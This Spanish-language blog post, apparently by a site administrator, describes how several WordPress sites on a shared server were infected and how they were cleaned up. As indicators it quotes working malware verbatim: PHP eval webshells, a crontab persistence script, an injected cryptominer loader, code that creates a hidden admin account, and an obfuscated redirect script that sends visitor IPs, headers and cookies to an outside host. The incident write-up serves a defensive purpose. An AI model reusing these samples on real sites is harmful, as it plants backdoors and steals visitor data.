Este post es largo y documenta un caso de contaminación por diferentes medios de un servidor con sitios WordPress y las medidas reactivas para poder solucionarlo.
Recientemente un cliente me notifica que su sitio web está siendo redireccionado a un sitio de publicidad, literalmente SPAM.
Inmediatamente supe que se trataba de malware, sin embargo no tenía idea de la gravedad del problema.
Diagnóstico
Primero que todo, cabe destacar que nunca instalo plugins ni temas nulled (pirateados) en mis sitios o los de mis clientes y no era solamente el sitio del cliente si no numerosos sitios de un servidor compartido en un VPS de mi empresa, había código javascript (y de otro tipo) presente en numerosos archivos de plugins, temas y el core de wordpress, también en widgets, revisando el servidor me conseguí con cosas interesantes como estas:
Si te ibas a /tmp y ejecutabas el comando «ls -la te podías conseguir con múltiples ficheros creados con este formato:
Pudiendo llegar a ser incluso miles si el servidor tiene tiempo contaminado, todos los nombres de los archivos empiezan por .171 y tienen este contenido:
<?php @eval($_HEADERS["Content-Security-Policy"]);@eval($_REQUEST["Content-Security-Policy"]);
También podrás ver archivos creados así en el directorio de tu aplicación web (o aplicaciones) por ejemplo pudes correr este comando en tu /var/www
find ./ -name ".17*"
Además, también me conseguía con un archivo llamado socks5.sh en /tmp, el cual tiene in contenido más o menos así:
#!/bin/bash
cat <(echo '@reboot echo socks5_backconnect666 > /dev/null | (cd /var/www/webiste/htdocs/wp-content/plugins/seo-by-rank-math/includes/modules/analytics/views/email-reports/sections && /var/www/website/htdocs/wp-content/themes/themify-ultra/skins/church/index_download)') <(sed '/socks5_backconnect666/d' <(crontab -l 2>/dev/null)) | crontab -
El cual solo tiene la intención de volver a ejecutar el malware o una puerta trasera con reiniciar o si el malware se ha limpiado, o sea, tratando de auto infectarse de nuevo.
También vas a conseguir algunos binarios dentro del código fuente de tu WordPress, con un contenido similar a este, el cual aunque la mayoría son caracteres de un binario hay una parte en texto que se puede diferenciar claramente que es para crear el archivo /tmp/socks5.sh
Otra cosa de la cual me percaté es que me conseguí con algunos usuarios nuevos creados en algunas de las instalaciones de WordPress, eran los encargados de crear los widgets con javascript malicioso, el javascript malicioso era el siguiente:
;(function(v,r,x,w,j,p){j=r.createElement(x);p=r.getElementsByTagName(x)[0];j.async=1;j.src=w;p.parentNode.insertBefore(j,p);})(window,document,'script','https://miner.eastestsite.com/lXazke5U0PjxVImjok6fs+dUibP/Gtj8/AXBs+g=');
De lejos se ve que es para hacer que el browser se ponga a minar alguna criptomoneda.
Y también creaban un usuario administrador en el WordPress que aparecía en la base de datos, pero no listado en el admin de WordPress y todo debido a esté código PHP inyectado a propósito en el functions.php de algunos temas:
add_action('pre_user_query','misha_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','misha_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function misha_protect_user_query( $user_search ) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if ( is_wp_error( $id ) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count( $views ){
$html = explode('<span class="count">(',$views['all']);
$count = explode(')</span>',$html[1]);
$count[0]--;
$views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
$html = explode('<span class="count">(',$views['administrator']);
$count = explode(')</span>',$html[1]);
$count[0]--;
$views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];
return $views;
}
function misha_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__( 'Invalid user ID.' ) );
}
function protect_user_from_deleting(){
$id = get_option('_pre_user_id');
if( isset( $_GET['user'] ) && $_GET['user']
&& isset( $_GET['action'] ) && $_GET['action'] == 'delete'
&& ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
wp_die(__( 'Invalid user ID.' ) );
}
$args = array(
'user_login' => 'webejikow',
'user_pass' => 'yQP]Qs3M62',
'role' => 'administrator',
'user_email' => '[email protected]'
);
if( !username_exists( $args['user_login'] ) ){
$id = wp_insert_user( $args );
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by( 'login', $args['user_login'] );
if ( $hidden_user->user_email != $args['user_email'] ) {
$id = get_option( '_pre_user_id' );
$args['ID'] = $id;
wp_insert_user( $args );
}
}
Así que ya saben si ven a un usuario administrador llamado webejikow por ahí 🙂
También se podían conseguir algunos archivos PHP creados por este malware con diversos nombres con el siguiente contenido:
<?php if(isset($_COOKIE['CWg'])) {die('Dtzoit');} if(!@function_exists('getallheaders')){function getallheaders(){$headers=array();foreach($_SERVER as $name => $value){if(substr($name,0,5)== 'HTTP_'){$headers[str_replace(' ','-',ucwords(strtolower(str_replace('_',' ',substr($name,5)))))]=$value;}}return $headers;}}if(!class_exists('CURLOPT_REQUEST')){if(@function_exists('is_user_logged_in')){if(is_user_logged_in()){return false;}}@ini_set('display_errors',0);@ini_set('error_reporting',0);@ini_set('log_errors',NULL);@ini_set('default_socket_timeout',3);$bad_ua='#(google|msnbot|baidu|yahoo|search|bing|ask|indexer|cuill.com|clushbot|360spider|80legs|aibot|aboundex|acunetix|ahrefsbot|alexibot|blexbot|backdoorbot|backweb|baiduspider|bandit|batchftp|bigfoot|blackwidow|blowfish|botalot|buddy|builtbottough|bullseye|bunnyslippers|cegbfeieh|cheesebot|cherrypicker|chinaclaw|cogentbot|collector|copier|copyrightcheck|crescent|custo|diibot|disco|dittospyder|drip|easydl|eirgrabber|emailcollector|emailsiphon|emailwolf|erocrawler|exabot|extractor|eyenetie|fhscan|foobot|frontpage|go-ahead-got-it|grabnet|grafula|hmview|httrack|harvest|ilsebot|infonavibot|infotekies|intelliseek|interget|iria|joc|jakarta|jennybot|jetcar|justview|jyxobot|lnspiderguy|lexibot|linkscan|linkwalker|linkextractorpro|linkpadbot|miixpc|mj12bot|mag-net|magnet|markwatch|memo|mirror|nameprotect|nicerspro|npbot|navroad|nearsite|netants|netmechanic|netspider|netzip|netcraft|nextgensearchbot|nimblecrawler|ninja|octopus|openfind|outfoxbot|pagegrabber|pockey|propowerbot|prowebwalker|pump|rma|reget|realdownload|reaper|recorder|repomonkey|seokicks|searchmetricsbot|semrushbot|siphon|siteexplorer|sitesnagger|slysearch|smartdownload|snake|snapbot|snoopy|spacebison|spankbot|sqworm|stripper|sucker|superbot|superhttp|surfbot|szukacz|teleport|telesoft|thenomad|tighttwatbot|titan|true_bot|turnitinbot|turnitinbot|vci|vacuum|voideye|wisenutbot|www-collector-e|wwwoffle|webauto|webbandit|webcopier|webemailextrac|webenhancer|webfetch|webleacher|webreaper|websauger|webstripper|webwhacker|webzip|webmasterworldforumbot|webster|wget|whacker|widow|xaldon|xenu|zeus|zmeu|zyborg|asterias|attach|cosmos|dragonfly|ecatch|ebingbong|flunky|gotit|hloader|humanlinks|ia_archiver|larbin|lftp|likse|lwp-trivial|moget|niki-bot|pavuk|pcbrowser|psbot|rogerbot|sogou|spanner|spbot|suzuran|takeout|turingos)#i';$bad_uri='#\?view=login|\?view=registration|\?wc-ajax|xmlrpc.php|wp-includes|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i';$ruri=strtolower(trim($_SERVER["REQUEST_URI"],"\t\n\r\0\x0B/"));if(@preg_match($bad_ua,strtolower($_SERVER["HTTP_USER_AGENT"]))|| preg_match($bad_uri,$ruri)){return;}class CURLOPT_REQUEST{public $params=array();public $cookie;public $host;public $u="\x68\x74\x74\x70s\x3a/\x2ff\x72e\x6ec\x68p\x69e\x73.\x6fr\x67/\x61p\x69.\x70h\x70";private function get_ip(){$ip=null;$headers=array('HTTP_X_FORWARDED_FOR','HTTP_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED','HTTP_CLIENT_IP','HTTP_FORWARDED_FOR_IP','X_FORWARDED_FOR','FORWARDED_FOR','X_FORWARDED','FORWARDED','CLIENT_IP','FORWARDED_FOR_IP','HTTP_PROXY_CONNECTION');foreach($headers as $header){if(!empty($_SERVER[$header])){$tmp=explode(',',$_SERVER[$header]);$ip=trim($tmp[0]);break;}}if(strstr($ip,',')){$tmp=explode(',',$ip);if(stristr($_SERVER['HTTP_USER_AGENT'],'mini')){$ip=trim($tmp[count($tmp)-2]);}else{$ip=trim($tmp[0]);}}if(empty($ip)){$ip=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'127.0.0.1';}return $ip;}function init(){$this->host=isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'localhost';if(@strpos(@strtolower($this->cookie),'wordpress_logged_in')!== False){return;}$lang=(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?substr($_SERVER['HTTP_ACCEPT_LANGUAGE'],0,2):'');if($lang == 'ru'){return;}$referrer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:null;$this->params=array('ip'=> $this->get_ip(),'ua'=> isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:null,'language'=> $lang,'seReferrer'=> $referrer,'referrer'=> $referrer,'original_headers'=> getallheaders(),'original_host'=> $this->host,'source'=> $this->host,'info'=> 0,'token'=> 'WhdR6W1VM7FhynSc');$this->cookie=isset($_SERVER["HTTP_COOKIE"])?preg_replace('/PHPSESSID=.*?;/si','',$_SERVER["HTTP_COOKIE"]):null;$result=$this->request($this->u);$c=@json_decode($result,true);if(isset($c['body'])){if(substr($c['body'],0,7)== '<script'){print $c['body'];}}}function request($url){if(@function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_COOKIE,$this->cookie);curl_setopt($ch,CURLOPT_NOBODY,0);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_USERAGENT,'KHttpClient');curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($this->params));return curl_exec($ch);}}}$obj=new CURLOPT_REQUEST;$obj->init();}
La verdad no se muy bien que hace el código anterior, pero se que no es nada bueno.
También vas a ver en tu listado de procesos, muchos procesos ejecutandose más o menos de esta manera:
43006 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/erp/vendor/parsecsv/php-parsecsv/.github/workflows/gd.thumbnail.inc > /dev/null 2>&1
43007 ? S 0:01 /var/www/site1.com/htdocs/wp-content/plugins/erp/vendor/parsecsv/php-parsecsv/.github/workflows/gd.thumbnail.inc
43008 ? Z 0:00 [gd.thumbnail.in] <defunct>
43040 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-backup/src/js/components/Admin/gd.thumbnail.inc > /dev/null 2>&1
43041 ? Sl 0:03 /var/www/site1.com/htdocs/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-backup/src/js/components/Admin/gd.thumbnail.inc
43042 ? Z 0:00 [gd.thumbnail.in] <defunct>
43055 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/skins/agency2/gd.thumbnail.inc > /dev/null 2>&1
43056 ? Sl 0:01 /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/skins/agency2/gd.thumbnail.inc
43057 ? Z 0:00 [gd.thumbnail.in] <defunct>
43094 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-sync/src/gd.thumbnail.inc > /dev/null 2>&1
43095 ? Sl 0:00 /var/www/site1.com/htdocs/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-sync/src/gd.thumbnail.inc
43096 ? Z 0:00 [gd.thumbnail.in] <defunct>
43126 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/skins/gd.thumbnail.inc > /dev/null 2>&1
43127 ? S 0:02 /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/skins/gd.thumbnail.inc
43128 ? Z 0:00 [gd.thumbnail.in] <defunct>
43148 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-boost-core/gd.thumbnail.inc > /dev/null 2>&1
43149 ? S 0:00 /var/www/site1.com/htdocs/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-boost-core/gd.thumbnail.inc
43150 ? Z 0:00 [gd.thumbnail.in] <defunct>
43165 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/uploads/themify/cache/themify-ultra/1086/image/gd.thumbnail.inc > /dev/null 2>&1
43166 ? S 0:01 /var/www/site1.com/htdocs/wp-content/uploads/themify/cache/themify-ultra/1086/image/gd.thumbnail.inc
43167 ? Z 0:00 [gd.thumbnail.in] <defunct>
43187 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/cbxgooglemap/languages/gd.thumbnail.inc > /dev/null 2>&1
43188 ? S 0:00 /var/www/site1.com/htdocs/wp-content/plugins/cbxgooglemap/languages/gd.thumbnail.inc
43189 ? Z 0:00 [gd.thumbnail.in] <defunct>
43220 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/themify/js/modules/swiper/modules/gd.thumbnail.inc > /dev/null 2>&1
43221 ? Sl 0:01 /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/themify/js/modules/swiper/modules/gd.thumbnail.inc
43222 ? Z 0:00 [gd.thumbnail.in] <defunct>
43243 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-assets/src/gd.thumbnail.inc > /dev/null 2>&1
43244 ? S 0:00 /var/www/site1.com/htdocs/wp-content/plugins/jetpack/jetpack_vendor/automattic/jetpack-assets/src/gd.thumbnail.inc
43245 ? Z 0:00 [gd.thumbnail.in] <defunct>
43262 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/uploads/themify/cache/themify-ultra/styles/1005/gd.thumbnail.inc > /dev/null 2>&1
43263 ? S 0:00 /var/www/site1.com/htdocs/wp-content/uploads/themify/cache/themify-ultra/styles/1005/gd.thumbnail.inc
43264 ? Z 0:00 [gd.thumbnail.in] <defunct>
43289 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/mainwp-child/libs/phpseclib/vendor/phpseclib/phpseclib/phpseclib/Math/PrimeField/gd.thumbnail.inc > /dev/null 2>&1
43290 ? S 0:00 /var/www/site1.com/htdocs/wp-content/plugins/mainwp-child/libs/phpseclib/vendor/phpseclib/phpseclib/phpseclib/Math/PrimeField/gd.thumbnail.inc
43291 ? Z 0:00 [gd.thumbnail.in] <defunct>
43309 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-includes/blocks/pattern/gd.thumbnail.inc > /dev/null 2>&1
43310 ? S 0:01 /var/www/site1.com/htdocs/wp-includes/blocks/pattern/gd.thumbnail.inc
43311 ? Z 0:00 [gd.thumbnail.in] <defunct>
43330 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/mailpoet/vendor-prefixed/doctrine/dbal/gd.thumbnail.inc > /dev/null 2>&1
43331 ? S 0:00 /var/www/site1.com/htdocs/wp-content/plugins/mailpoet/vendor-prefixed/doctrine/dbal/gd.thumbnail.inc
43332 ? Z 0:00 [gd.thumbnail.in] <defunct>
44699 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/jetpack/_inc/blocks/recurring-payments/gd.thumbnail.inc > /dev/null 2>&1
44700 ? Sl 0:00 /var/www/site1.com/htdocs/wp-content/plugins/jetpack/_inc/blocks/recurring-payments/gd.thumbnail.inc
44701 ? Z 0:00 [gd.thumbnail.in] <defunct>
44760 ? I 0:00 [kworker/0:2-events]
45681 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/themify/js/admin/modules/codemirror/gd.thumbnail.inc > /dev/null 2>&1
45682 ? S 0:01 /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/themify/js/admin/modules/codemirror/gd.thumbnail.inc
45683 ? Z 0:00 [gd.thumbnail.in] <defunct>
45883 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/themify/themify-metabox/gd.thumbnail.inc > /dev/null 2>&1
45884 ? S 0:00 /var/www/site1.com/htdocs/wp-content/themes/themify-ultra/themify/themify-metabox/gd.thumbnail.inc
45885 ? Z 0:00 [gd.thumbnail.in] <defunct>
45987 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/mailpoet/lib/Mailer/WordPress/gd.thumbnail.inc > /dev/null 2>&1
45988 ? S 0:00 /var/www/site1.com/htdocs/wp-content/plugins/mailpoet/lib/Mailer/WordPress/gd.thumbnail.inc
45989 ? Z 0:00 [gd.thumbnail.in] <defunct>
46070 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-includes/rest-api/gd.thumbnail.inc > /dev/null 2>&1
46071 ? Sl 0:00 /var/www/site1.com/htdocs/wp-includes/rest-api/gd.thumbnail.inc
46072 ? Z 0:00 [gd.thumbnail.in] <defunct>
46076 ? S 0:00 tlsmgr -l -t unix -u -c
46155 ? S 0:00 sh -c /var/www/site1.com/htdocs/wp-content/plugins/erp/vendor/guzzlehttp/guzzle/gd.thumbnail.inc > /dev/null 2>&1
46156 ? S 0:00 /var/www/site1.com/htdocs/wp-content/plugins/erp/vendor/guzzlehttp/guzzle/gd.thumbnail.inc
46157 ? Z 0:00 [gd.thumbnail.in] <defunct>
46228 ? S 0:00 sh -c /var/www/site2.org/htdocs/wp-content/plugins/jetpack/modules/custom-css/csstidy/search.bak > /dev/null 2>&1
46229 ? S 0:00 /var/www/site2.org/htdocs/wp-content/plugins/jetpack/modules/custom-css/csstidy/search.bak
46230 ? Z 0:00 [search.bak] <defunct>
578 ? Ss 0:00 /bin/sh -c echo socks5_backconnect666 > /dev/null | (cd /var/www/site3.com/htdocs/wp-content/plugins/webtoffee-gdpr-cookie-consent/public/modules/script-blocker/integrations && /var/www/site3
585 ? R 4:24 /var/www/site3.com/htdocs/wp-content/plugins/cf7-google-sheets-connector/lib/vendor/phpseclib/phpseclib/phpseclib/Crypt/DSA/Formats/Keys/berkeleydb.lib
Solución
Como consejo, no olvides hacer un respaldo de cada sitio aún así estén contaminados antes de hacer cualquier cambio.
Luego de limpiar todos y cada uno de los sitios usando como apoyo el plugin Wordfence, que por cierto no hacía nada para evitar la contaminación, pero si para identificar los archivos contaminados, evitar en este caso el autoeliminado o eliminar todos los archivos sin revisarlos uno a uno, ya que podrías estar eliminando un archivo importante y dejar inútil algún sitio.
Se revisaron manualmente todos y cada uno de los widgets para eliminar código maliciosos, también los functions.php de todos los temas y se eliminó manualmente de la base de datos el usuario administrador webejikow.
El servidor y todos sus sitios corrían limpios un tiempo, tal vez algunas horas para luego contaminarse de nuevo, los archivos .171* no dejaban de aparecer en /tmp, para el archivo /tmp/socks5.sh cree manualmente uno vacío y le di atributos de inmutable para que no pudiera ser eliminado o sobreescrito:
touch /tmp/socks5.sh
chattr +i /tmp/socks5.sh
Si tienes tienes /tmp en una partición, puedes quitarle los atributos de ejecución cuando se monte y así evitas que se puedan ejecutar ficheros en ese directorio, en mi caso no podía hacerlo, así que me tocó algo más artesanal.
Sin embargo luego de lidiar con el malware semanas, la verdadera solución vino de ver los logs de los sitios contaminados, con frecuencia veía muchas peticiones post a ficheros PHP cualquiera dentro de todos los sitios, por lo general ningún plugin o tema necesita hacer post a otros ficheros dentro de la instalación y menos usuarios externos, los plugins y temas usan la API de WordPress o la interfase ajax de WordPress.
Entonces procedí a crear reglas a nivel de servidor web Nginx y de cloudflare para evitar peticiones POST a todo lo que esté dentro de /wp-content/, de esta manera:
Para Nginx:
location ^~ /wp-content {
limit_except GET {
deny all;
}
}
Y a nivel de cloudflare con una regla como la siguiente en el WAF:
Luego solo toca volver a limpiar todos y cada uno de los sitios para garantizar que no queda ningún archivo extraño, reiniciar (si se puede) y monitorizar el servidor un tiempo para garantizar de que el malware no vuelva, en mi caso no apareció nuevamente.
Aproveché para ajustar las reglas de wordfence para bloquear login de usuarios inexistentes de inmediato y con 3 intentos para usuarios conocidos, este bloqueo se hace por 1 mes.